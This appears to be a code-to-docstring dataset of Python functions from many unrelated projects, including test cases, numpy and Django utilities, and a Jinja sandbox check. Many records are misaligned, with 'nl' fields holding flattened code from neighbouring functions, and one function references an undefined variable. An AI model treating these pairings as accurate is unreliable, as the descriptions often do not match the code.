helpers.call_action(\"package_activity_list\",id=dataset[\"id\"],before=db_activities[1].timestamp.timestamp(),after=db_activities[3].timestamp.timestamp(),)# we expect just 1 (db_activities[2])assert len(pkg_activities) == 1# first activity here is the first one.assert pkg_activities[0][\"activity_type\"] == \"changed package\"pkg_activity_time = datetime.datetime.fromisoformat(pkg_activities[0][\"timestamp\"])assert pkg_activity_time == db_activities[2].timestampdef test_activity_after_before_offset(self):Test activities before timestamp"} {"code": "def test_j_just_observe(self):\n key = self.make_key('MyDictKey')\n context = citest.base.ExecutionContext()\n\n builder = st.HttpContractBuilder(self.scenario.agent)\n (builder.new_clause_builder('Check Key Value using contains_path_eq')\n .get_url_path('/lookup/' + key)\n .contains_path_eq('a', 'A'))\n\n (builder.new_clause_builder('Check Key Value using EXPECT')\n .get_url_path('/lookup/' + key)\n .EXPECT(ov_factory.value_list_contains(jp.PathPredicate('a', jp.STR_EQ('A')))))\n\n (builder.new_clause_builder('Check Multiple Key Values using contains_path_eq')\n .get_url_path('/lookup/' + key)\n .contains_path_eq('a', 'A')\n .contains_path_eq('b', 'B'))\n\n (builder.new_clause_builder('Check Multiple Key Values using AND')\n .get_url_path('/lookup/' + key)\n .EXPECT(ov_factory.value_list_contains(jp.PathPredicate('a', jp.STR_EQ('A'))))\n .AND(ov_factory.value_list_contains(jp.PathPredicate('b', jp.STR_EQ('B')))))\n\n contract = builder.build()\n results = contract.verify(context)\n self.assertTrue(results)\n", "nl": "Example checks a contract without an operation.key = self.make_key('MyDictKey')context = citest.base.ExecutionContext()builder = st.HttpContractBuilder(self.scenario.agent)(builder.new_clause_builder('Check Key Value').get_url_path('/lookup/' + key).contains_path_eq('a', 'A'))contract = builder.build()results = contract.verify(context)self.assertTrue(results)def test_multiple(self):key = self.make_key('MyDictKey')expect_value = {'a': 'A', 'b': 'B', 'c': 'C'}operation = http_agent.HttpPostOperation(title='Writing Key Value',data=json.JSONEncoder().encode(expect_value),path='/put/' + key)context = citest.base.ExecutionContext()builder = st.HttpContractBuilder(self.scenario.agent)(builder.new_clause_builder('Check Multiple Key Values using contains_path_eq').get_url_path('/lookup/' + key).contains_path_eq('a', 'A').contains_path_eq('b', 'B'))contract = builder.build()test = st.OperationContract(operation, contract)self.run_test_case(test)def test_j_just_observe_variants(self):Example checks a contract without an operation."} {"code": "def annotations_to_instances_rotated(annos, image_size):\n boxes = [obj[\"bbox\"] for obj in annos]\n target = Instances(image_size)\n boxes = target.gt_boxes = RotatedBoxes(boxes)\n boxes.clip(image_size)\n\n classes = [obj[\"category_id\"] for obj in annos]\n classes = torch.tensor(classes, dtype=torch.int64)\n target.gt_classes = classes\n\n return target\n\n", "nl": "Create an :class:`Instances` object used by the models,from instance annotations in the dataset dict.Compared to `annotations_to_instances`, this function is for rotated boxes onlyArgs:annos (list[dict]): a list of instance annotations in one image, eachelement for one instance.image_size (tuple): height, widthReturns:Instances:Containing fields \"gt_boxes\", \"gt_classes\",if they can be obtained from `annos`.This is the format that builtin models expect."} {"code": "def test_janky_action(self):\n self.assertThat(\n self.render_tasks([janky_action_task]),\n ExactlyEquals(\n u'f3a32bb3-ea6b-457c-\\u241b(0aa99-08a3d0491ab4\\n'\n u'\\u2514\\u2500\\u2500 A\\u241b(0/1 \\u21d2 started '\n u'1425356800\\u241b(0\\n'\n u' \\u251c\\u2500\\u2500 \\u241b(0: \\n'\n u' \\u2502 \\u2514\\u2500\\u2500 \\u241b(0: nope\\n'\n u' \\u2514\\u2500\\u2500 mes\\u240asage: hello\\u241b(0world\\n\\n'\n ))\n", "nl": "Task names, UUIDs, keys and values in actions all have controlcharacters escaped."} {"code": "def set_target_dependency_packages(context, attr_name, attr_value, ext_targets):\n Trying to apply settings and use Nuget Packages\n\n :param context:\n :return:\n \"\"\"", "nl": " Collects paths of mentioned *.targets files at context.import_projects del attr_name, attr_valuefor import_project_node in ext_targets:targets_file_path = import_project_node.get('Project')if targets_file_path is None:continuedrive, _ = os.path.splitdrive(targets_file_path)if not drive: # targets_file_path is not absolutemount_point = get_mount_point(context.vcxproj_path)targets_file_path = set_native_slash(os.path.join(mount_point, targets_file_path))targets_file_path = os.path.normpath(targets_file_path)context.import_projects.append(targets_file_path)def apply_target_dependency_packages(self, context):"} {"code": "def __init__(self, clusters, *args, **kwargs): # noqa: E501\n\n _check_type = kwargs.pop('_check_type', True)\n _spec_property_naming = kwargs.pop('_spec_property_naming', False)\n _path_to_item = kwargs.pop('_path_to_item', ())\n _configuration = kwargs.pop('_configuration', None)\n _visited_composed_classes = kwargs.pop('_visited_composed_classes', ())\n\n if args:\n raise ApiTypeError(\n \"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments.\" % (\n args,\n self.__class__.__name__,\n ),\n path_to_item=_path_to_item,\n valid_classes=(self.__class__,),\n )\n\n self._data_store = {}\n self._check_type = _check_type\n self._spec_property_naming = _spec_property_naming\n self._path_to_item = _path_to_item\n self._configuration = _configuration\n self._visited_composed_classes = _visited_composed_classes + (self.__class__,)\n\n self.clusters = clusters\n for var_name, var_value in kwargs.items():\n if var_name not in self.attribute_map and \\\n self._configuration is not None and \\\n self._configuration.discard_unknown_keys and \\\n self.additional_properties_type is None:\n continue\n setattr(self, var_name, var_value)", "nl": "ListClustersResponseContent - a model defined in OpenAPIArgs:clusters ([ClusterInfoSummary]):Keyword Args:_check_type (bool): if True, values for parameters in openapi_typeswill be type checked and a TypeError will beraised if the wrong type is input.Defaults to True_path_to_item (tuple/list): This is a list of keys or values todrill down to the model in received_datawhen deserializing a response_spec_property_naming (bool): True if the variable names in the input dataare serialized names, as specified in the OpenAPI document.False if the variable names in the input dataare pythonic names, e.g. snake case (default)_configuration (Configuration): the instance to use whendeserializing a file_type parameter.If passed, type conversion is attemptedIf omitted no type conversion is done._visited_composed_classes (tuple): This stores a tuple ofclasses that we have traveled through so thatif we see that class again we will not use itsdiscriminator again.When traveling through a discriminator, thecomposed schema that isis traveled through is added to this set.For example if Animal has a discriminatorpetType and we pass in \"Dog\", and the class DogallOf includes Animal, we move through Animalonce using the discriminator, and pick Dog.Then in Dog, we will make an instance of theAnimal class but this time we won't travelthrough its discriminator because we passed in_visited_composed_classes = (Animal,)next_token (str): Token to use for paginated requests.. [optional] # noqa: E501"} {"code": "def _level_styles():\n red = 31\n green = 32\n yellow = 33\n blue = 34\n light_gray = 37\n\n return {\n \"critical\": _foreground_color(red),\n \"exception\": _foreground_color(red),\n \"error\": _foreground_color(red),\n \"warning\": _foreground_color(yellow),\n \"info\": _foreground_color(green),\n \"debug\": _foreground_color(blue),\n \"notset\": _foreground_color(light_gray),\n }\n\n", "nl": "Set color for different levels.Returns:Dict with color for each level."} {"code": "def test_get_env(self):\n in_toto.user_settings.set_settings()\n\n self.assertEqual(in_toto.settings.ARTIFACT_BASE_PATH, \"e/n/v\")\n\n self.assertListEqual(in_toto.settings.ARTIFACT_EXCLUDE_PATTERNS,\n [\"r\", \"c\", \"file\"])\n self.assertEqual(in_toto.settings.LINK_CMD_EXEC_TIMEOUT, \"20\")\n\n self.assertTrue(\"new_rc_setting\" in in_toto.user_settings.get_rc())\n self.assertRaises(AttributeError, getattr, in_toto.settings,\n \"NEW_RC_SETTING\")\n\n self.assertTrue(\"NOT_WHITELISTED\" in in_toto.user_settings.get_env())\n self.assertRaises(AttributeError, getattr, in_toto.settings,\n \"NOT_WHITELISTED\")\n\nif __name__ == \"__main__\":\n unittest.main()", "nl": " Test environment variables parsing, prefix and colon splitting. env_dict = in_toto.user_settings.get_env()# Parsed and used by `set_settings` to monkeypatch settingsself.assertEqual(env_dict[\"ARTIFACT_BASE_PATH\"], \"e/n/v\")# Parsed (and split) but overriden by rcfile setting in `set_settings`self.assertListEqual(env_dict[\"ARTIFACT_EXCLUDE_PATTERNS\"],[\"e\", \"n\", \"v\"])# Parsed and used by `set_settings`self.assertEqual(env_dict[\"LINK_CMD_EXEC_TIMEOUT\"], \"0.1\")# Parsed but ignored in `set_settings` (not in case sensitive whitelist)self.assertEqual(env_dict[\"NOT_WHITELISTED\"], \"parsed\")# Not parsed because of missing prefixself.assertFalse(\"NOT_PARSED\" in env_dict)def test_set_settings(self): Test precedence of rc over env and whitelisting. "} {"code": "def set_slices(DA,**axes2inds):\n Out = DA\n for (ax,ind) in axes2inds.items():\n Out = Out.axis[ax][ind:(ind+1)]\n return Out\n", "nl": "return a copy of DataArray DA, where several slices are taken along named axes,specified by keys ax1=ind1, ax2=ind2, etc."} {"code": "def forward(self, inputs, parameters=None):\n Args:\n kernel_size: size of pooling kernel, int or 2-tuple\n stride: pool stride, int or 2-tuple\n padding: pool padding, int or 4-tuple (l, r, t, b) as in pytorch F.pad\n same: override padding and enforce same padding, boolean\n \"\"\"", "nl": "Live Patch ... :> ...# If no parameter dictionary is given, everything is normalif parameters is None:return self.net(inputs)# But if not ...param_gen = iter(parameters.values())method_pile = []counter = 0for name, module in self.net.named_modules():if isinstance(module, torch.nn.Conv2d):ext_weight = next(param_gen)if module.bias is not None:ext_bias = next(param_gen)else:ext_bias = Nonemethod_pile.append(module.forward)module.forward = partial(F.conv2d,weight=ext_weight,bias=ext_bias,stride=module.stride,padding=module.padding,dilation=module.dilation,groups=module.groups,)elif isinstance(module, torch.nn.BatchNorm2d):if module.momentum is None:exponential_average_factor = 0.0else:exponential_average_factor = module.momentumif module.training and module.track_running_stats:if module.num_batches_tracked is not None:module.num_batches_tracked += 1if module.momentum is None: # use cumulative moving averageexponential_average_factor = 1.0 / float(module.num_batches_tracked)else: # use exponential moving averageexponential_average_factor = module.momentumext_weight = next(param_gen)ext_bias = next(param_gen)method_pile.append(module.forward)module.forward = partial(F.batch_norm,running_mean=module.running_mean,running_var=module.running_var,weight=ext_weight,bias=ext_bias,training=module.training or not module.track_running_stats,momentum=exponential_average_factor,eps=module.eps,)elif isinstance(module, torch.nn.Linear):lin_weights = next(param_gen)lin_bias = next(param_gen)method_pile.append(module.forward)module.forward = partial(F.linear, weight=lin_weights, bias=lin_bias)elif next(module.parameters(), None) is None:# Pass over modules that do not contain parameterspasselif isinstance(module, torch.nn.Sequential):# Pass containerspasselse:# Warn for other containerswarnings.warn(f\"Patching for module {module.__class__} is not implemented.\")output = self.net(inputs)# Undo Patchfor name, module in self.net.named_modules():if isinstance(module, torch.nn.modules.conv.Conv2d):module.forward = method_pile.pop(0)elif isinstance(module, torch.nn.BatchNorm2d):module.forward = method_pile.pop(0)elif isinstance(module, torch.nn.Linear):module.forward = method_pile.pop(0)return outputclass MedianPool2d(nn.Module):Median pool (usable as median filter when stride=1) module."} {"code": "def onchange(self, value):\n log.debug('combo box. selected %s' % value)\n self.select_by_value(value)\n return self.eventManager.propagate(self.EVENT_ONCHANGE, (value,))\n\n @decorate_set_on_listener(\"onchange\", \"(self,emitter,new_value)\")", "nl": "Called when a new DropDownItem gets selected."} {"code": "def _get_item_context(self, index):\n pool_local: pool local feature into a single vector\n \"\"\"", "nl": "No need to batch, since it has already been batched hereraw_data = self.video_data[index]# get proposals and sort in ascending order, to get more efficient batchingproposals = self.proposal_fn(video_id=\"\", metadata={\"duration\": raw_data[\"duration\"]}) # np.ndarray (N_p, 2)proposals_lengths = proposals[:, 1] - proposals[:, 0] # secondssorted_proposal_indices = np.argsort(proposals_lengths)[:self.max_n_proposals]sorted_proposals = proposals[sorted_proposal_indices]# initialize with basic datameta = dict(vid_name=raw_data[\"vid_name\"],duration=raw_data[\"duration\"],proposals=sorted_proposals)model_inputs = dict()n_proposal_batches = math.ceil(1.0 * len(sorted_proposals) / self.eval_proposal_bsz)tef_batched_list = [None, ] * n_proposal_batchest_moments_mask_list = [None, ] * n_proposal_batchesif self.use_tef:tef_array = sorted_proposals / meta[\"duration\"] # (N_p, 2)for batch_idx in range(n_proposal_batches):st_m_idx = batch_idx * self.eval_proposal_bszed_m_idx = (batch_idx + 1) * self.eval_proposal_bsztef_batched_list[batch_idx] = tef_array[st_m_idx:ed_m_idx]t_moments_mask_list[batch_idx] = \\np.ones((len(tef_batched_list[batch_idx]), 1), dtype=np.float32)if not self.use_video and not self.use_sub: # use video streammodel_inputs[\"video_moment_features_list\"] = [ProposalRetrievalDataset.concat_feat_adv(tef=t, ctx_mode=self.ctx_mode) for t in tef_batched_list]model_inputs[\"video_moment_mask_list\"] = [torch.from_numpy(e) for e in t_moments_mask_list]# extract/group/padif self.use_video:v_feat = self.vid_feat_h5[meta[\"vid_name\"]] # (N_frm, D)v_ctx_feat = np.mean(v_feat, axis=0) # (D, )if self.normalize_vfeat:v_ctx_feat = l2_normalize_np_array(v_ctx_feat)v_padded_moments_features_list, v_moments_mask_list = \\self.get_batched_moment_feat_for_all_proposals(v_feat, sorted_proposals,pool_local=self.pool_local,normalize=self.normalize_vfeat)model_inputs[\"video_moment_features_list\"] = [ProposalRetrievalDataset.concat_feat_adv(moment_feats=[v, v_ctx_feat], tef=t, ctx_mode=self.ctx_mode)for v, t in zip(v_padded_moments_features_list, tef_batched_list)]model_inputs[\"video_moment_mask_list\"] = [torch.from_numpy(e) for e in v_moments_mask_list]if self.use_sub:s_feat = self.sub_bert_h5[meta[\"vid_name\"]] # (N_frm, D)s_ctx_feat = np.mean(s_feat, axis=0) # (D, )if self.normalize_tfeat:s_ctx_feat = l2_normalize_np_array(s_ctx_feat)s_padded_moments_features_list, s_moments_mask_list = \\self.get_batched_moment_feat_for_all_proposals(s_feat, sorted_proposals,pool_local=self.pool_local,normalize=self.normalize_tfeat)model_inputs[\"sub_moment_features_list\"] = [ProposalRetrievalDataset.concat_feat_adv(moment_feats=[s, s_ctx_feat], tef=t, ctx_mode=self.ctx_mode)for s, t in zip(s_padded_moments_features_list, tef_batched_list)]model_inputs[\"sub_moment_mask_list\"] = [torch.from_numpy(e) for e in s_moments_mask_list]return dict(meta=meta, model_inputs=model_inputs)def get_batched_moment_feat_for_all_proposals(self, feature, moments, pool_local=False, normalize=True):proposals of the same video wil be segmented into multiple batches to accomodate GPU memory"} {"code": "def convert_tokens_to_string(self, tokens):\n Build model inputs from a sequence or a pair of sequence for sequence classification tasks\n by concatenating and adding special tokens.\n An XLNet sequence has the following format:\n single sequence: X \n pair of sequences: A B \n \"\"\"", "nl": "Converts a sequence of tokens (strings for sub-words) in a single string.out_string = \"\".join(tokens).replace(SPIECE_UNDERLINE, \" \").strip()return out_stringdef build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):"} {"code": "def is_absolute(self):\n return self[0] == '/'\n", "nl": "Is this path absolute?>>> URLPath('a/b/c').is_absoluteFalse>>> URLPath('/a/b/c').is_absoluteTrue"} {"code": "def get_expire_at_browser_close(self):\n if self.get('_session_expiry') is None:\n return settings.SESSION_EXPIRE_AT_BROWSER_CLOSE\n return self.get('_session_expiry') == 0\n\n", "nl": "Returns ``True`` if the session is set to expire when the browsercloses, and ``False`` if there's an expiry date. Use``get_expiry_date()`` or ``get_expiry_age()`` to find the actual expirydate/age, if there is one."} {"code": "def __init__(self, **kwargs: Any) -> None:\n return self._api\n", "nl": "Initialize the Cosmos ledger APIs.self._api = Noneself.network_address = kwargs.pop(\"address\", DEFAULT_ADDRESS)self.denom = kwargs.pop(\"denom\", DEFAULT_CURRENCY_DENOM)self.chain_id = kwargs.pop(\"chain_id\", DEFAULT_CHAIN_ID)self.rest_client = RestClient(self.network_address)self.tx_client = TxRestClient(self.rest_client)self.auth_client = AuthRestClient(self.rest_client)self.wasm_client = CosmWasmRestClient(self.rest_client)self.bank_client = BankRestClient(self.rest_client)@propertydef api(self) -> Any:Get the underlying API object."} {"code": "def test_count_ends_with_empty_line(self):\n self.assertEqual(count_lines_with_wrapping(\"1\\n2\\n3\\n\"), 3)\n", "nl": "Test with a string which ends with a newline.self.assertEqual(count_lines_with_wrapping(\"text\\n\"), 1)def test_count_several_lines(self):Test with several lines of text."} {"code": "def test_constructor(self):\n (output, resources) = self.exporter_class().from_filename(self._get_notebook())\n assert len(output) > 0\n", "nl": "Construct ScriptExportere = self.exporter_class()def test_export(self):ScriptExporter can export something"} {"code": "def set_verbose_launch(self, verbose):\n if verbose:\n self.run_args[\"verbose\"] = None\n else:\n self.run_args.pop(\"verbose\", None)\n", "nl": "Set the job to run in verbose modeThis sets ``--verbose``:param verbose: Whether the job should be run verbosely:type verbose: bool"} {"code": "def parse_authentication_tokens(cmd_result):\n token_value = NO_TOKEN_SPECIFIED\n shadow_token_value = NO_SHADOW_TOKEN_SPECIFIED\n DELIMITER = '---'\n\n metadata = cmd_result.split(\"\\n\")[0]\n if not metadata:\n raise EmptyTokenException\n metadata = ast.literal_eval(metadata)\n\n n_apps = len(metadata.keys())\n tokens = [line.strip() for line in cmd_result.strip().split('\\n')[1:]]\n\n if n_apps == 1 and DELIMITER not in tokens:\n token_value = '\\r\\n'.join(tokens) + '\\r\\n'\n elif n_apps == 2 and DELIMITER not in tokens:\n token_value = tokens[0] + '\\r\\n'\n shadow_token_value = tokens[1] + '\\r\\n'\n else:\n token_value = '\\r\\n'.join(tokens[:tokens.index(DELIMITER)]) + '\\r\\n'\n if n_apps == 2:\n shadow_token_value = '\\r\\n'.join(tokens[tokens.index(DELIMITER)+1:]) + '\\r\\n'\n\n if not latest_token_value:\n raise EmptyTokenException\n\n return metadata, token_value, shadow_token_value\n", "nl": " Parses the output @param cmd_result from token scripts to refresh tokens.Format:{u'app1': {}, u'app2':{}} // MetadataApiTokenTag: 9A // Auth header for application 1ApiTokenTag: ZQ // Auth header for application 2Format for multiple authenication headers per request:{u'app1': {}, u'app2':{}} // MetadataApiTokenTag: 9A // Auth header for application 1ApiTokenTag2: E8 // Auth header for application 1--- // DelimiterApiTokenTag: ZQ // Auth header for application 2ApiTokenTag2: UI // Auth header for application 2@param cmd_result: The result of the user-provided command to refresh the token.@type cmd_result: Str@return: Metadata, token values and shadow token values@rtype : Tuple[Dict, Str, Str]"} {"code": "def set_error_code(json_data, return_obj):\n error_type = ''\n try:\n error_type = json_data['__type']\n except KeyError:\n pass\n\n error_code = ErrorMapper.DEFAULT_ERROR\n\n if error_type in ERROR_MAPPING:\n error_code = ERROR_MAPPING[error_type]\n\n if error_code == ErrorMapper.DEFAULT_ERROR:\n ErrorMapper.logger.debug(\"failed to map: \" + str(json_data))\n\n ErrorMapperBase.set_error_code(return_obj, error_code)", "nl": "aws transmit specified error:param json_data: dict, error response of api_call:param return_obj: dict, returns error and error code"} {"code": "def methodInteger(self):\n return 2\n", "nl": "This method does not return a boolean value"} {"code": "def test_ok_empty(self) -> None:\n object_repr = '{' \\\n '\"ints\": [1, 2.13],' \\\n '\"opt_strs\": [\"a\", \"b\"], ' \\\n '\"opt_str_list\": [\"a\", \"b\"], ' \\\n '\"points\": [{\"x_val\": 1, \"y_val\": 2}]}'\n with self.assertRaises(TypeError):\n type_checked_call()(WithLists)(**json.loads(object_repr))\n\n\nclass WithMemberFunc:\n \"\"\"Dummy class with two ints.\"\"\"", "nl": "Valid JSON stringobject_repr = '{' \\'\"ints\": [],' \\'\"opt_strs\": [], ' \\'\"opt_str_list\": [], ' \\'\"points\": []}'with_list: WithLists = type_checked_call()(WithLists)(**json.loads(object_repr))self.assertEqual(with_list.ints, [])self.assertEqual(with_list.opt_strs, [])self.assertEqual(with_list.opt_str_list, [])self.assertEqual(with_list.points, [])def test_incorrect_element_type(self) -> None:Invalid JSON string."} {"code": "def update(self, data):\n self.writer.writerow(data)\n\n\nclass OUIIndexParser(Publisher):\n \"\"\"", "nl": "Receives and writes index data to a CSV data file.:param data: record containing offset record information."} {"code": "def width(self, new_value: float):\n return self._height\n\n @height.setter", "nl": "Set the width in pixels of the sprite.if new_value != self._width:self.clear_spatial_hashes()self._point_list_cache = None# If there is a hit box, rescale it to the new widthif self._points:scale = new_value / self._widthold_points = self._pointsself._points = [(point[0] * scale, point[1]) for point in old_points]self._width = new_valueself.add_spatial_hashes()for sprite_list in self.sprite_lists:sprite_list.update_size(self)@propertydef height(self) -> float:Get the height in pixels of the sprite."} {"code": "def _process_config(config):\n params = {}\n for section in config.sections():\n for option in config.options(section):\n params[option] = eval(config.get(section, option))\n params['epoch_to_load'] = None\n return params\n", "nl": "Well this parser simply flatten out all sections ..."} {"code": "def press(self, event):\n self._log_position(event)\n if self._press_callback is not None:\n self._press_callback(self)\n", "nl": "Handles mouse presses.Logs mouse position and calls press_callback method.Parameters----------event : :class:`matplotlib.backend_bases.MouseEvent`The event that was triggered"} {"code": "def export(self, format, **kwargs):\n fmt = registry.get_format(format)\n if not hasattr(fmt, 'export_set'):\n raise UnsupportedFormat(f'Format {format} cannot be exported.')\n\n return fmt.export_set(self, **kwargs)\n\n", "nl": "Export :class:`Dataset` object to `format`.:param \\\\*\\\\*kwargs: (optional) custom configuration to the format `export_set`."} {"code": "def _read_returned_msg(self, method_frame):\n header_frame, body = self._reap_msg_frames(method_frame)\n\n return_info = {\n 'channel': self.channel,\n 'reply_code': method_frame.args.read_short(),\n 'reply_text': method_frame.args.read_shortstr(),\n 'exchange': method_frame.args.read_shortstr(),\n 'routing_key': method_frame.args.read_shortstr()\n }\n\n return Message(body=body, return_info=return_info,\n **header_frame.properties)\n", "nl": "Support method to read a returned (basic.return) Message from thecurrent frame buffer. Will return a Message with return_info, orre-queue current frames and raise a FrameUnderflow.:returns: Message with the return_info attribute set, where return_infois a dict with the following properties:'channel': Channel instance'reply_code': reply code (int)'reply_text': reply text'exchange': exchange name'routing_key': routing key"} {"code": "def unsafe_undefined(self, obj, attribute):\n method so that our safety sandbox can be used for it.\n \"\"\"", "nl": "Return an undefined object for unsafe attributes.return self.undefined('access to attribute %r of %r ''object is unsafe.' % (attribute,obj.__class__.__name__), name=attribute, obj=obj, exc=SecurityError)def format_string(self, s, args, kwargs):If a format call is detected, then this is routed through this"} {"code": "def ip(self):\n return IPAddress(self._value, self._module.version)\n\n @property", "nl": "The IP address of this `IPNetwork` object. This is may or may not bethe same as the network IP address which varies according to the valueof the CIDR subnet prefix."} {"code": "def on(self, image):\n shape = normalize_shape(image)\n if shape[0:2] == self.shape[0:2]:\n return self.deepcopy()\n bounding_boxes = [bb.project(self.shape, shape)\n for bb in self.bounding_boxes]\n return BoundingBoxesOnImage(bounding_boxes, shape)\n\n @classmethod", "nl": "Project bounding boxes from one image to a new one.Parameters----------image : ndarray or tuple of intNew image onto which the bounding boxes are to be projected.May also simply be that new image's shape tuple.Returns-------bounding_boxes : imgaug.BoundingBoxesOnImageObject containing all projected bounding boxes."} {"code": "def test_commandNameDefaultsToClassNameAsByteString(self):\n class NewCommand(amp.Command):\n \"\"\"\n\n self.assertEqual(b\"NewCommand\", NewCommand.commandName)\n\n", "nl": "A L{Command} subclass without a defined C{commandName} that'snot a byte string."} {"code": "def get_all_checkpoint_files(self) -> List[str]:\n all_model_checkpoints = [\n os.path.join(self.save_dir, file)\n for file in self.path_manager.ls(self.save_dir)\n if self.path_manager.isfile(os.path.join(self.save_dir, file))\n and file.endswith(\".pth\")\n ]\n return all_model_checkpoints\n", "nl": "Returns:list: All available checkpoint files (.pth files) in targetdirectory."} {"code": "def apply_over_axes(func, a, axes):\n val = asarray(a)\n N = a.ndim\n if array(axes).ndim == 0:\n axes = (axes,)\n for axis in axes:\n if axis < 0:\n axis = N + axis\n args = (val, axis)\n res = func(*args)\n if res.ndim == val.ndim:\n val = res\n else:\n res = expand_dims(res, axis)\n if res.ndim == val.ndim:\n val = res\n else:\n raise ValueError(\"function is not returning \"\n \"an array of the correct shape\")\n return val\n\n", "nl": "Apply a function repeatedly over multiple axes.`func` is called as `res = func(a, axis)`, where `axis` is the firstelement of `axes`. The result `res` of the function call must haveeither the same dimensions as `a` or one less dimension. If `res`has one less dimension than `a`, a dimension is inserted before`axis`. The call to `func` is then repeated for each axis in `axes`,with `res` as the first argument.Parameters----------func : functionThis function must take two arguments, `func(a, axis)`.a : array_likeInput array.axes : array_likeAxes over which `func` is applied; the elements must be integers.Returns-------apply_over_axis : ndarrayThe output array. The number of dimensions is the same as `a`,but the shape can be different. This depends on whether `func`changes the shape of its output with respect to its input.See Also--------apply_along_axis :Apply a function to 1-D slices of an array along the given axis.Notes------This function is equivalent to tuple axis arguments to reorderable ufuncswith keepdims=True. Tuple axis arguments to ufuncs have been available sinceversion 1.7.0.Examples-------->>> a = np.arange(24).reshape(2,3,4)>>> aarray([[[ 0, 1, 2, 3],[ 4, 5, 6, 7],[ 8, 9, 10, 11]],[[12, 13, 14, 15],[16, 17, 18, 19],[20, 21, 22, 23]]])Sum over axes 0 and 2. The result has same number of dimensionsas the original array:>>> np.apply_over_axes(np.sum, a, [0,2])array([[[ 60],[ 92],[124]]])Tuple axis arguments to ufuncs are equivalent:>>> np.sum(a, axis=(0,2), keepdims=True)array([[[ 60],[ 92],[124]]])"} {"code": "def expovariate(self, lambd):\n\n random = self.random\n u = random()\n while u <= 1e-7:\n u = random()\n return -_log(u)/lambd\n\n", "nl": "Exponential distribution.lambd is 1.0 divided by the desired mean. (The parameter would becalled \"lambda\", but that is a reserved word in Python.) Returnedvalues range from 0 to positive infinity."} {"code": "def put_template(self, uri, template):\n self._collection[uri] = template", "nl": "Place a new :class:`.Template` object into this:class:`.TemplateLookup`, based on the given:class:`.Template` object."} {"code": "def test_remove_all_versions_recursive_on_subdir(self):\n bucket_uri = self.CreateVersionedBucket()\n key_uri = self.StorageUriCloneReplaceName(bucket_uri, 'foo')\n self.StorageUriSetContentsFromString(key_uri, 'bar')\n if self.multiregional_buckets:\n self.AssertNObjectsInBucket(bucket_uri, 1, versioned=True)\n stderr = self.RunGsUtil(\n ['rm', '-a',\n suri(key_uri),\n '%s' % suri(bucket_uri, 'missing')],\n return_stderr=True,\n expected_status=1)", "nl": "Test that 'rm -r' works on subdir.bucket_uri = self.CreateVersionedBucket()k1_uri = self.StorageUriCloneReplaceName(bucket_uri, 'dir/foo')k2_uri = self.StorageUriCloneReplaceName(bucket_uri, 'dir/foo2')self.StorageUriSetContentsFromString(k1_uri, 'bar')self.StorageUriSetContentsFromString(k2_uri, 'bar2')k1g1 = urigen(k1_uri)k2g1 = urigen(k2_uri)self.StorageUriSetContentsFromString(k1_uri, 'baz')self.StorageUriSetContentsFromString(k2_uri, 'baz2')k1g2 = urigen(k1_uri)k2g2 = urigen(k2_uri)if self.multiregional_buckets:self.AssertNObjectsInBucket(bucket_uri, 4, versioned=True)self._RunRemoveCommandAndCheck(['rm', '-r', '%s' % suri(bucket_uri, 'dir')],objects_to_remove=['%s#%s' % (suri(k1_uri), k1g1),'%s#%s' % (suri(k1_uri), k1g2),'%s#%s' % (suri(k2_uri), k2g1),'%s#%s' % (suri(k2_uri), k2g2)])self.AssertNObjectsInBucket(bucket_uri, 0, versioned=True)def test_rm_seek_ahead(self):object_uri = self.CreateObject(contents=b'foo')with SetBotoConfigForTest([('GSUtil', 'task_estimation_threshold', '1'),('GSUtil', 'task_estimation_force', 'True')]):stderr = self.RunGsUtil(['-m', 'rm', suri(object_uri)],return_stderr=True)self.assertIn('Estimated work for this command: objects: 1\\n', stderr)def test_rm_seek_ahead_stdin_args(self):object_uri = self.CreateObject(contents=b'foo')with SetBotoConfigForTest([('GSUtil', 'task_estimation_threshold', '1'),('GSUtil', 'task_estimation_force', 'True')]):stderr = self.RunGsUtil(['-m', 'rm', '-I'],stdin=suri(object_uri),return_stderr=True)self.assertNotIn('Estimated work', stderr)def test_missing_first_force(self):bucket_uri = self.CreateBucket()object_uri = self.CreateObject(bucket_uri=bucket_uri,object_name='present',contents=b'foo')if self.multiregional_buckets:self.AssertNObjectsInBucket(bucket_uri, 1)if not self._use_gcloud_storage:# Gcloud storage continues on missing objects by default.# So we will skip running this for gcloud storage.self.RunGsUtil(['rm', '%s' % suri(bucket_uri, 'missing'),suri(object_uri)],expected_status=1)stderr = self.RunGsUtil(['rm', '-f','%s' % suri(bucket_uri, 'missing'),suri(object_uri)],return_stderr=True,expected_status=1)self.assertEqual(stderr.count('Removing %s://' % self.default_provider), 1)self.RunGsUtil(['stat', suri(object_uri)], expected_status=1)def test_some_missing(self):Test that 'rm -a' fails when some but not all uris don't exist."} {"code": "def comment_is_pinned(comment_details, viewer):\n if not isinstance(comment_details, CommentDetails):\n comment_details = CommentDetails(comment_details)\n return 'pinned' if comment_details.is_pinned(viewer) else None\n\n@global_tag", "nl": "`viewer` should be request.user - the user viewing the comment.Returns \"pinned\" if pinned, else None."} {"code": "def _get_angle(self) -> float:\n self._angle = value\n self.program['Angle'] = self._angle\n\n angle = property(_get_angle, _set_angle)\n\n\nclass _Batch(Generic[TShape]):", "nl": "Get the angle of the ShapeElementList in degrees.return self._angledef _set_angle(self, value: float):Set the angle of the ShapeElementList in degrees."} {"code": "def set_siren_strobe_enabled(self, enabled):\n values = {\n \"desired_state\": {\n \"strobe_enabled\": enabled\n }\n }\n response = self.api_interface.set_device_state(self, values)\n self._update_state_from_response(response)\n", "nl": ":param enabled: True or False:return: nothing"} {"code": "def tearDown(self):\n from natcap.invest import validation\n\n filepath = os.path.join(self.workspace_dir, 'file.txt')\n error_msg = validation.check_raster(filepath)\n self.assertEqual(error_msg, validation.MESSAGES['FILE_NOT_FOUND'])\n", "nl": "Remove the workspace created for this test.shutil.rmtree(self.workspace_dir)def test_file_not_found(self):Validation: test that a raster exists."} {"code": "def getImage(self):\n return self.image\n", "nl": "**SUMMARY**Get the Image**RETURNS**SimpleCV.ImageClass.Image**EXAMPLE**>>> track = Track(img, bb)>>> i = track.getImage()"} {"code": "def debug_str(expression: placeholder_pb2.PlaceholderExpression) -> str:\n if expression.HasField(\"value\"):\n value_field_name = expression.value.WhichOneof(\"value\")\n return f\"\\\"{getattr(expression.value, value_field_name)}\\\"\"\n\n if expression.HasField(\"placeholder\"):\n placeholder_pb = expression.placeholder\n ph_names_map = {\n 